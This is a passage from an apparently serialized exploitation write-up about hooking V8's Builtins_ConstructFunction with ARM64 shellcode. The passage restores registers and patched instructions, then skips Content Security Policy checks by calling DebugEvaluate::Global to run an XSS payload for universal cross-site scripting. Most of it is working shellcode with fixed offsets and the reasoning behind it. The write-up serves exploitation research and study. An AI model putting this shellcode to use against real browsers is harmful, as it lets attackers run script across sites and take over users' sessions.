x29, [sp, #-16]!\n",{"type":23,"tag":141,"props":138746,"children":138747},{"class":143,"line":2352},[138748],{"type":23,"tag":141,"props":138749,"children":138750},{},[138751],{"type":29,"value":138752},"str lr, [sp, #-16]!\n",{"type":23,"tag":32,"props":138754,"children":138755},{},[138756],{"type":29,"value":138757},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":32,"props":138759,"children":138760},{},[138761,138763,138768],{"type":29,"value":138762},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":38,"props":138764,"children":138766},{"className":138765},[],[138767],{"type":29,"value":137953},{"type":29,"value":138769},", and then returns execution to its beginning:",{"type":23,"tag":131,"props":138771,"children":138773},{"code":138772,"language":138006,"meta":7,"className":138007,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[138774],{"type":23,"tag":38,"props":138775,"children":138776},{"__ignoreMap":7},[138777,138785,138793,138801,138809,138817,138824,138831,138839,138846,138853,138861,138869,138877,138885,138893,138901,138909,138917,138925,138933,138941,138949,138957,138965,138973,138981,138988,138996,139004,139012,139020,139028,139035,139043,139051,139058],{"type":23,"tag":141,"props":138778,"children":138779},{"class":143,"line":144},[138780],{"type":23,"tag":141,"props":138781,"children":138782},{},[138783],{"type":29,"value":138784},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":138786,"children":138787},{"class":143,"line":180},[138788],{"type":23,"tag":141,"props":138789,"children":138790},{},[138791],{"type":29,"value":138792},"ldr lr, [sp], #16\n",{"type":23,"tag":141,"props":138794,"children":138795},{"class":143,"line":205},[138796],{"type":23,"tag":141,"props":138797,"children":138798},{},[138799],{"type":29,"value":138800},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":138802,"children":138803},{"class":143,"line":218},[138804],{"type":23,"tag":141,"props":138805,"children":138806},{},[138807],{"type":29,"value":138808},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":141,"props":138810,"children":138811},{"class":143,"line":227},[138812],{"type":23,"tag":141,"props":138813,"children":138814},{},[138815],{"type":29,"value":138816},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":141,"props":138818,"children":138819},{"class":143,"line":241},[138820],{"type":23,"tag":141,"props":138821,"children":138822},{"emptyLinePlaceholder":15},[138823],{"type":29,"value":719},{"type":23,"tag":141,"props":138825,"children":138826},{"class":143,"line":262},[138827],{"type":23,"tag":141,"props":138828,"children":138829},{},[138830],{"type":29,"value":138359},{"type":23,"tag":141,"props":138832,"children":138833},{"class":143,"line":271},[138834],{"type":23,"tag":141,"props":138835,"children":138836},{},[138837],{"type":29,"value":138838},"mov x0, lr\n",{"type":23,"tag":141,"props":138840,"children":138841},{"class":143,"line":293},[138842],{"type":23,"tag":141,"props":138843,"children":138844},{},[138845],{"type":29,"value":138375},{"type":23,"tag":141,"props":138847,"children":138848},{"class":143,"line":801},[138849],{"type":23,"tag":141,"props":138850,"children":138851},{"emptyLinePlaceholder":15},[138852],{"type":29,"value":719},{"type":23,"tag":141,"props":138854,"children":138855},{"class":143,"line":810},[138856],{"type":23,"tag":141,"props":138857,"children":138858},{},[138859],{"type":29,"value":138860},"// restore original registers\n",{"type":23,"tag":141,"props":138862,"children":138863},{"class":143,"line":824},[138864],{"type":23,"tag":141,"props":138865,"children":138866},{},[138867],{"type":29,"value":138868},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":141,"props":138870,"children":138871},{"class":143,"line":839},[138872],{"type":23,"tag":141,"props":138873,"children":138874},{},[138875],{"type":29,"value":138876},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":141,"props":138878,"children":138879},{"class":143,"line":848},[138880],{"type":23,"tag":141,"props":138881,"children":138882},{},[138883],{"type":29,"value":138884},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":141,"props":138886,"children":138887},{"class":143,"line":2304},[138888],{"type":23,"tag":141,"props":138889,"children":138890},{},[138891],{"type":29,"value":138892},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":141,"props":138894,"children":138895},{"class":143,"line":2313},[138896],{"type":23,"tag":141,"props":138897,"children":138898},{},[138899],{"type":29,"value":138900},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":141,"props":138902,"children":138903},{"class":143,"line":2335},[138904],{"type":23,"tag":141,"props":138905,"children":138906},{},[138907],{"type":29,"value":138908},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":141,"props":138910,"children":138911},{"class":143,"line":2343},[138912],{"type":23,"tag":141,"props":138913,"children":138914},{},[138915],{"type":29,"value":138916},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":141,"props":138918,"children":138919},{"class":143,"line":2352},[138920],{"type":23,"tag":141,"props":138921,"children":138922},{},[138923],{"type":29,"value":138924},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":141,"props":138926,"children":138927},{"class":143,"line":2421},[138928],{"type":23,"tag":141,"props":138929,"children":138930},{},[138931],{"type":29,"value":138932},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":141,"props":138934,"children":138935},{"class":143,"line":2429},[138936],{"type":23,"tag":141,"props":138937,"children":138938},{},[138939],{"type":29,"value":138940},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":141,"props":138942,"children":138943},{"class":143,"line":2459},[138944],{"type":23,"tag":141,"props":138945,"children":138946},{},[138947],{"type":29,"value":138948},"ldp x8, x9, [sp], #16\n",{"type":23,"tag":141,"props":138950,"children":138951},{"class":143,"line":2467},[138952],{"type":23,"tag":141,"props":138953,"children":138954},{},[138955],{"type":29,"value":138956},"ldp x6, x7, [sp], #16\n",{"type":23,"tag":141,"props":138958,"children":138959},{"class":143,"line":2499},[138960],{"type":23,"tag":141,"props":138961,"children":138962},{},[138963],{"type":29,"value":138964},"ldp x4, x5, [sp], #16\n",{"type":23,"tag":141,"props":138966,"children":138967},{"class":143,"line":2507},[138968],{"type":23,"tag":141,"props":138969,"children":138970},{},[138971],{"type":29,"value":138972},"ldp x2, x3, [sp], #16\n",{"type":23,"tag":141,"props":138974,"children":138975},{"class":143,"line":2567},[138976],{"type":23,"tag":141,"props":138977,"children":138978},{},[138979],{"type":29,"value":138980},"ldp x0, x1, [sp], #16\n",{"type":23,"tag":141,"props":138982,"children":138983},{"class":143,"line":7724},[138984],{"type":23,"tag":141,"props":138985,"children":138986},{"emptyLinePlaceholder":15},[138987],{"type":29,"value":719},{"type":23,"tag":141,"props":138989,"children":138990},{"class":143,"line":7742},[138991],{"type":23,"tag":141,"props":138992,"children":138993},{},[138994],{"type":29,"value":138995},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":141,"props":138997,"children":138998},{"class":143,"line":7787},[138999],{"type":23,"tag":141,"props":139000,"children":139001},{},[139002],{"type":29,"value":139003},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":141,"props":139005,"children":139006},{"class":143,"line":7893},[139007],{"type":23,"tag":141,"props":139008,"children":139009},{},[139010],{"type":29,"value":139011},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":141,"props":139013,"children":139014},{"class":143,"line":22181},[139015],{"type":23,"tag":141,"props":139016,"children":139017},{},[139018],{"type":29,"value":139019},"// where to return\n",{"type":23,"tag":141,"props":139021,"children":139022},{"class":143,"line":22216},[139023],{"type":23,"tag":141,"props":139024,"children":139025},{},[139026],{"type":29,"value":139027},"mov x4, lr\n",{"type":23,"tag":141,"props":139029,"children":139030},{"class":143,"line":22224},[139031],{"type":23,"tag":141,"props":139032,"children":139033},{"emptyLinePlaceholder":15},[139034],{"type":29,"value":719},{"type":23,"tag":141,"props":139036,"children":139037},{"class":143,"line":22232},[139038],{"type":23,"tag":141,"props":139039,"children":139040},{},[139041],{"type":29,"value":139042},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":139044,"children":139045},{"class":143,"line":22241},[139046],{"type":23,"tag":141,"props":139047,"children":139048},{},[139049],{"type":29,"value":139050},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":141,"props":139052,"children":139053},{"class":143,"line":22283},[139054],{"type":23,"tag":141,"props":139055,"children":139056},{"emptyLinePlaceholder":15},[139057],{"type":29,"value":719},{"type":23,"tag":141,"props":139059,"children":139060},{"class":143,"line":22316},[139061],{"type":23,"tag":141,"props":139062,"children":139063},{},[139064],{"type":29,"value":139065},"ret x4\n",{"type":23,"tag":32,"props":139067,"children":139068},{},[139069,139071,139076,139078,139083,139085,139091],{"type":29,"value":139070},"At this point, we have successfully hooked ",{"type":23,"tag":38,"props":139072,"children":139074},{"className":139073},[],[139075],{"type":29,"value":137953},{"type":29,"value":139077}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":38,"props":139079,"children":139081},{"className":139080},[],[139082],{"type":29,"value":138469},{"type":29,"value":139084}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":38,"props":139086,"children":139088},{"className":139087},[],[139089],{"type":29,"value":139090},"Builtins_GlobalEval",{"type":29,"value":322},{"type":23,"tag":32,"props":139093,"children":139094},{},[139095,139100,139102,139107,139109,139114],{"type":23,"tag":38,"props":139096,"children":139098},{"className":139097},[],[139099],{"type":29,"value":139090},{"type":29,"value":139101}," takes a single ",{"type":23,"tag":38,"props":139103,"children":139105},{"className":139104},[],[139106],{"type":29,"value":46404},{"type":29,"value":139108}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":38,"props":139110,"children":139112},{"className":139111},[],[139113],{"type":29,"value":36019},{"type":29,"value":114},{"type":23,"tag":131,"props":139116,"children":139118},{"code":139117,"language":135,"meta":7,"className":133,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[139119],{"type":23,"tag":38,"props":139120,"children":139121},{"__ignoreMap":7},[139122,139135,139142,139149,139192,139214,139240],{"type":23,"tag":141,"props":139123,"children":139124},{"class":143,"line":144},[139125,139130],{"type":23,"tag":141,"props":139126,"children":139127},{"style":184},[139128],{"type":29,"value":139129},"BUILTIN",{"type":23,"tag":141,"props":139131,"children":139132},{"style":154},[139133],{"type":29,"value":139134},"(GlobalEval) {\n",{"type":23,"tag":141,"props":139136,"children":139137},{"class":143,"line":180},[139138],{"type":23,"tag":141,"props":139139,"children":139140},{"style":154},[139141],{"type":29,"value":125638},{"type":23,"tag":141,"props":139143,"children":139144},{"class":143,"line":205},[139145],{"type":23,"tag":141,"props":139146,"children":139147},{"emptyLinePlaceholder":15},[139148],{"type":29,"value":719},{"type":23,"tag":141,"props":139150,"children":139151},{"class":143,"line":218},[139152,139157,139162,139166,139171,139175,139179,139183,139188],{"type":23,"tag":141,"props":139153,"children":139154},{"style":154},[139155],{"type":29,"value":139156}," if (!Builtins::",{"type":23,"tag":141,"props":139158,"children":139159},{"style":725},[139160],{"type":29,"value":139161},"AllowDynamicFunction",{"type":23,"tag":141,"props":139163,"children":139164},{"style":154},[139165],{"type":29,"value":192},{"type":23,"tag":141,"props":139167,"children":139168},{"style":725},[139169],{"type":29,"value":139170},"isolate",{"type":23,"tag":141,"props":139172,"children":139173},{"style":154},[139174],{"type":29,"value":480},{"type":23,"tag":141,"props":139176,"children":139177},{"style":725},[139178],{"type":29,"value":113563},{"type":23,"tag":141,"props":139180,"children":139181},{"style":154},[139182],{"type":29,"value":480},{"type":23,"tag":141,"props":139184,"children":139185},{"style":725},[139186],{"type":29,"value":139187},"target_global_proxy",{"type":23,"tag":141,"props":139189,"children":139190},{"style":154},[139191],{"type":29,"value":33664},{"type":23,"tag":141,"props":139193,"children":139194},{"class":143,"line":227},[139195,139200,139204,139209],{"type":23,"tag":141,"props":139196,"children":139197},{"style":750},[139198],{"type":29,"value":139199}," isolate",{"type":23,"tag":141,"props":139201,"children":139202},{"style":154},[139203],{"type":29,"value":12435},{"type":23,"tag":141,"props":139205,"children":139206},{"style":184},[139207],{"type":29,"value":139208},"CountUsage",{"type":23,"tag":141,"props":139210,"children":139211},{"style":154},[139212],{"type":29,"value":139213},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":141,"props":139215,"children":139216},{"class":143,"line":241},[139217,139221,139226,139231,139236],{"type":23,"tag":141,"props":139218,"children":139219},{"style":148},[139220],{"type":29,"value":15665},{"type":23,"tag":141,"props":139222,"children":139223},{"style":184},[139224],{"type":29,"value":139225}," ReadOnlyRoots",{"type":23,"tag":141,"props":139227,"children":139228},{"style":154},[139229],{"type":29,"value":139230},"(isolate).",{"type":23,"tag":141,"props":139232,"children":139233},{"style":184},[139234],{"type":29,"value":139235},"undefined_value",{"type":23,"tag":141,"props":139237,"children":139238},{"style":154},[139239],{"type":29,"value":1305},{"type":23,"tag":141,"props":139241,"children":139242},{"class":143,"line":262},[139243],{"type":23,"tag":141,"props":139244,"children":139245},{"style":154},[139246],{"type":29,"value":854},{"type":23,"tag":32,"props":139248,"children":139249},{},[139250,139252,139257],{"type":29,"value":139251},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":38,"props":139253,"children":139255},{"className":139254},[],[139256],{"type":29,"value":14255},{"type":29,"value":139258}," block.",{"type":23,"tag":32,"props":139260,"children":139261},{},[139262],{"type":29,"value":139263},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":131,"props":139265,"children":139267},{"code":139266,"language":135,"meta":7,"className":133,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[139268],{"type":23,"tag":38,"props":139269,"children":139270},{"__ignoreMap":7},[139271,139282,139289,139296,139303,139311,139323,139331,139348,139378,139386,139398],{"type":23,"tag":141,"props":139272,"children":139273},{"class":143,"line":144},[139274,139278],{"type":23,"tag":141,"props":139275,"children":139276},{"style":184},[139277],{"type":29,"value":139129},{"type":23,"tag":141,"props":139279,"children":139280},{"style":154},[139281],{"type":29,"value":139134},{"type":23,"tag":141,"props":139283,"children":139284},{"class":143,"line":180},[139285],{"type":23,"tag":141,"props":139286,"children":139287},{"emptyLinePlaceholder":15},[139288],{"type":29,"value":719},{"type":23,"tag":141,"props":139290,"children":139291},{"class":143,"line":205},[139292],{"type":23,"tag":141,"props":139293,"children":139294},{"style":154},[139295],{"type":29,"value":125638},{"type":23,"tag":141,"props":139297,"children":139298},{"class":143,"line":218},[139299],{"type":23,"tag":141,"props":139300,"children":139301},{"emptyLinePlaceholder":15},[139302],{"type":29,"value":719},{"type":23,"tag":141,"props":139304,"children":139305},{"class":143,"line":227},[139306],{"type":23,"tag":141,"props":139307,"children":139308},{"style":154},[139309],{"type":29,"value":139310}," DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":141,"props":139312,"children":139313},{"class":143,"line":241},[139314,139319],{"type":23,"tag":141,"props":139315,"children":139316},{"style":184},[139317],{"type":29,"value":139318}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":141,"props":139320,"children":139321},{"style":154},[139322],{"type":29,"value":2123},{"type":23,"tag":141,"props":139324,"children":139325},{"class":143,"line":262},[139326],{"type":23,"tag":141,"props":139327,"children":139328},{"style":154},[139329],{"type":29,"value":139330}," isolate, function,\n",{"type":23,"tag":141,"props":139332,"children":139333},{"class":143,"line":271},[139334,139339,139344],{"type":23,"tag":141,"props":139335,"children":139336},{"style":154},[139337],{"type":29,"value":139338}," Compiler::",{"type":23,"tag":141,"props":139340,"children":139341},{"style":184},[139342],{"type":29,"value":139343},"GetFunctionFromValidatedString",{"type":23,"tag":141,"props":139345,"children":139346},{"style":154},[139347],{"type":29,"value":2123},{"type":23,"tag":141,"props":139349,"children":139350},{"class":143,"line":293},[139351,139356,139360,139364,139368,139373],{"type":23,"tag":141,"props":139352,"children":139353},{"style":184},[139354],{"type":29,"value":139355}," direct_handle",{"type":23,"tag":141,"props":139357,"children":139358},{"style":154},[139359],{"type":29,"value":192},{"type":23,"tag":141,"props":139361,"children":139362},{"style":750},[139363],{"type":29,"value":113563},{"type":23,"tag":141,"props":139365,"children":139366},{"style":154},[139367],{"type":29,"value":12435},{"type":23,"tag":141,"props":139369,"children":139370},{"style":184},[139371],{"type":29,"value":139372},"native_context",{"type":23,"tag":141,"props":139374,"children":139375},{"style":154},[139376],{"type":29,"value":139377},"(), isolate), source,\n",{"type":23,"tag":141,"props":139379,"children":139380},{"class":143,"line":801},[139381],{"type":23,"tag":141,"props":139382,"children":139383},{"style":154},[139384],{"type":29,"value":139385}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":141,"props":139387,"children":139388},{"class":143,"line":810},[139389,139394],{"type":23,"tag":141,"props":139390,"children":139391},{"style":184},[139392],{"type":29,"value":139393}," RETURN_RESULT_OR_FAILURE",{"type":23,"tag":141,"props":139395,"children":139396},{"style":154},[139397],{"type":29,"value":2123},{"type":23,"tag":141,"props":139399,"children":139400},{"class":143,"line":824},[139401,139406,139411],{"type":23,"tag":141,"props":139402,"children":139403},{"style":154},[139404],{"type":29,"value":139405}," isolate, Execution::",{"type":23,"tag":141,"props":139407,"children":139408},{"style":184},[139409],{"type":29,"value":139410},"Call",{"type":23,"tag":141,"props":139412,"children":139413},{"style":154},[139414],{"type":29,"value":139415},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":32,"props":139417,"children":139418},{},[139419,139421,139426,139428,139434,139436,139442,139444,139450],{"type":29,"value":139420},"But determining the correct ",{"type":23,"tag":38,"props":139422,"children":139424},{"className":139423},[],[139425],{"type":29,"value":113563},{"type":29,"value":139427}," value, obtaining ",{"type":23,"tag":38,"props":139429,"children":139431},{"className":139430},[],[139432],{"type":29,"value":139433},"target->native_context()",{"type":29,"value":139435},", and locating the ",{"type":23,"tag":38,"props":139437,"children":139439},{"className":139438},[],[139440],{"type":29,"value":139441},"direct_handle",{"type":29,"value":139443}," function, just to make a proper call to ",{"type":23,"tag":38,"props":139445,"children":139447},{"className":139446},[],[139448],{"type":29,"value":139449},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":139451},", seemed unnecessarily cumbersome.",{"type":23,"tag":32,"props":139453,"children":139454},{},[139455,139457,139463],{"type":29,"value":139456},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":38,"props":139458,"children":139460},{"className":139459},[],[139461],{"type":29,"value":139462},"DebugEvaluate::Global",{"type":29,"value":139464},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":32,"props":139466,"children":139467},{},[139468],{"type":29,"value":139469},"For our needs, it is straightforward to call:",{"type":23,"tag":131,"props":139471,"children":139473},{"code":139472,"language":135,"meta":7,"className":133,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[139474],{"type":23,"tag":38,"props":139475,"children":139476},{"__ignoreMap":7},[139477,139525,139554,139575],{"type":23,"tag":141,"props":139478,"children":139479},{"class":143,"line":144},[139480,139485,139489,139493,139498,139503,139507,139512,139516,139521],{"type":23,"tag":141,"props":139481,"children":139482},{"style":725},[139483],{"type":29,"value":139484},"MaybeDirectHandle",{"type":23,"tag":141,"props":139486,"children":139487},{"style":154},[139488],{"type":29,"value":4480},{"type":23,"tag":141,"props":139490,"children":139491},{"style":725},[139492],{"type":29,"value":47329},{"type":23,"tag":141,"props":139494,"children":139495},{"style":154},[139496],{"type":29,"value":139497},"> DebugEvaluate::",{"type":23,"tag":141,"props":139499,"children":139500},{"style":184},[139501],{"type":29,"value":139502},"Global",{"type":23,"tag":141,"props":139504,"children":139505},{"style":154},[139506],{"type":29,"value":192},{"type":23,"tag":141,"props":139508,"children":139509},{"style":725},[139510],{"type":29,"value":139511},"Isolate",{"type":23,"tag":141,"props":139513,"children":139514},{"style":449},[139515],{"type":29,"value":197},{"type":23,"tag":141,"props":139517,"children":139518},{"style":750},[139519],{"type":29,"value":139520}," isolate",{"type":23,"tag":141,"props":139522,"children":139523},{"style":154},[139524],{"type":29,"value":2168},{"type":23,"tag":141,"props":139526,"children":139527},{"class":143,"line":180},[139528,139533,139537,139541,139545,139550],{"type":23,"tag":141,"props":139529,"children":139530},{"style":725},[139531],{"type":29,"value":139532}," Handle",{"type":23,"tag":141,"props":139534,"children":139535},{"style":154},[139536],{"type":29,"value":4480},{"type":23,"tag":141,"props":139538,"children":139539},{"style":725},[139540],{"type":29,"value":46404},{"type":23,"tag":141,"props":139542,"children":139543},{"style":154},[139544],{"type":29,"value":4495},{"type":23,"tag":141,"props":139546,"children":139547},{"style":750},[139548],{"type":29,"value":139549},"source",{"type":23,"tag":141,"props":139551,"children":139552},{"style":154},[139553],{"type":29,"value":2168},{"type":23,"tag":141,"props":139555,"children":139556},{"class":143,"line":205},[139557,139562,139567,139571],{"type":23,"tag":141,"props":139558,"children":139559},{"style":154},[139560],{"type":29,"value":139561}," debug::",{"type":23,"tag":141,"props":139563,"children":139564},{"style":725},[139565],{"type":29,"value":139566},"EvaluateGlobalMode",{"type":23,"tag":141,"props":139568,"children":139569},{"style":750},[139570],{"type":29,"value":104759},{"type":23,"tag":141,"props":139572,"children":139573},{"style":154},[139574],{"type":29,"value":2168},{"type":23,"tag":141,"props":139576,"children":139577},{"class":143,"line":218},[139578,139583,139588],{"type":23,"tag":141,"props":139579,"children":139580},{"style":725},[139581],{"type":29,"value":139582}," REPLMode",{"type":23,"tag":141,"props":139584,"children":139585},{"style":750},[139586],{"type":29,"value":139587}," repl_mode",{"type":23,"tag":141,"props":139589,"children":139590},{"style":154},[139591],{"type":29,"value":2496},{"type":23,"tag":32,"props":139593,"children":139594},{},[139595,139597,139602,139604,139609,139611,139616,139618,139624,139625,139631],{"type":29,"value":139596},"We must supply the ",{"type":23,"tag":38,"props":139598,"children":139600},{"className":139599},[],[139601],{"type":29,"value":139170},{"type":29,"value":139603}," pointer, a ",{"type":23,"tag":38,"props":139605,"children":139607},{"className":139606},[],[139608],{"type":29,"value":46404},{"type":29,"value":139610}," object containing our XSS payload as ",{"type":23,"tag":38,"props":139612,"children":139614},{"className":139613},[],[139615],{"type":29,"value":139549},{"type":29,"value":139617},", and the ",{"type":23,"tag":38,"props":139619,"children":139621},{"className":139620},[],[139622],{"type":29,"value":139623},"mode",{"type":29,"value":313},{"type":23,"tag":38,"props":139626,"children":139628},{"className":139627},[],[139629],{"type":29,"value":139630},"repl_mode",{"type":29,"value":139632}," values, which are simple enum literals.",{"type":23,"tag":32,"props":139634,"children":139635},{},[139636,139638,139643,139645,139651,139653,139658,139660,139665,139667,139673,139675,139681,139683,139688,139690,139695,139697,139702,139704,139709],{"type":29,"value":139637},"To obtain the ",{"type":23,"tag":38,"props":139639,"children":139641},{"className":139640},[],[139642],{"type":29,"value":139170},{"type":29,"value":139644}," pointer within our shellcode, we call ",{"type":23,"tag":38,"props":139646,"children":139648},{"className":139647},[],[139649],{"type":29,"value":139650},"Isolate::TryGetCurrent()",{"type":29,"value":139652},", which returns the current ",{"type":23,"tag":38,"props":139654,"children":139656},{"className":139655},[],[139657],{"type":29,"value":139170},{"type":29,"value":139659},". To construct a valid ",{"type":23,"tag":38,"props":139661,"children":139663},{"className":139662},[],[139664],{"type":29,"value":46404},{"type":29,"value":139666}," object holding our payload, we call ",{"type":23,"tag":38,"props":139668,"children":139670},{"className":139669},[],[139671],{"type":29,"value":139672},"v8::String::NewFromUTF8",{"type":29,"value":139674},". This ",{"type":23,"tag":38,"props":139676,"children":139678},{"className":139677},[],[139679],{"type":29,"value":139680},"NewFromUTF8",{"type":29,"value":139682}," function takes four arguments: the ",{"type":23,"tag":38,"props":139684,"children":139686},{"className":139685},[],[139687],{"type":29,"value":139170},{"type":29,"value":139689},", the string bytes as ",{"type":23,"tag":38,"props":139691,"children":139693},{"className":139692},[],[139694],{"type":29,"value":2367},{"type":29,"value":139696},", an enum literal specifying the string type, and ",{"type":23,"tag":38,"props":139698,"children":139700},{"className":139699},[],[139701],{"type":29,"value":7179},{"type":29,"value":139703},", which is the size of the ",{"type":23,"tag":38,"props":139705,"children":139707},{"className":139706},[],[139708],{"type":29,"value":2367},{"type":29,"value":15840},{"type":23,"tag":32,"props":139711,"children":139712},{},[139713],{"type":29,"value":139714},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":131,"props":139716,"children":139718},{"code":139717,"language":138006,"meta":7,"className":138007,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[139719],{"type":23,"tag":38,"props":139720,"children":139721},{"__ignoreMap":7},[139722,139730,139738,139746,139754,139762,139770,139778,139786,139794,139802,139810,139818,139825,139833,139841,139849,139857,139864,139872,139879,139887,139895,139902,139909,139916,139923,139930,139937,139945,139953,139960,139968,139976,139983,139991,139999,140006,140013,140021,140029,140037,140044,140052,140060,140068,140076,140084,140092,140100,140108,140116,140124,140132,140139,140147,140155,140162,140170,140178,140186,140194,140201,140209,140216,140223,140231,140239,140247,140255,140264,140273,140281],{"type":23,"tag":141,"props":139723,"children":139724},{"class":143,"line":144},[139725],{"type":23,"tag":141,"props":139726,"children":139727},{},[139728],{"type":29,"value":139729},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":141,"props":139731,"children":139732},{"class":143,"line":180},[139733],{"type":23,"tag":141,"props":139734,"children":139735},{},[139736],{"type":29,"value":139737},"movz x1, #0xf7a0\n",{"type":23,"tag":141,"props":139739,"children":139740},{"class":143,"line":205},[139741],{"type":23,"tag":141,"props":139742,"children":139743},{},[139744],{"type":29,"value":139745},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":141,"props":139747,"children":139748},{"class":143,"line":218},[139749],{"type":23,"tag":141,"props":139750,"children":139751},{},[139752],{"type":29,"value":139753},"add x9, x12, x1\n",{"type":23,"tag":141,"props":139755,"children":139756},{"class":143,"line":227},[139757],{"type":23,"tag":141,"props":139758,"children":139759},{},[139760],{"type":29,"value":139761},"movz x1, #0x5ac8\n",{"type":23,"tag":141,"props":139763,"children":139764},{"class":143,"line":241},[139765],{"type":23,"tag":141,"props":139766,"children":139767},{},[139768],{"type":29,"value":139769},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":141,"props":139771,"children":139772},{"class":143,"line":262},[139773],{"type":23,"tag":141,"props":139774,"children":139775},{},[139776],{"type":29,"value":139777},"add x0, x12, 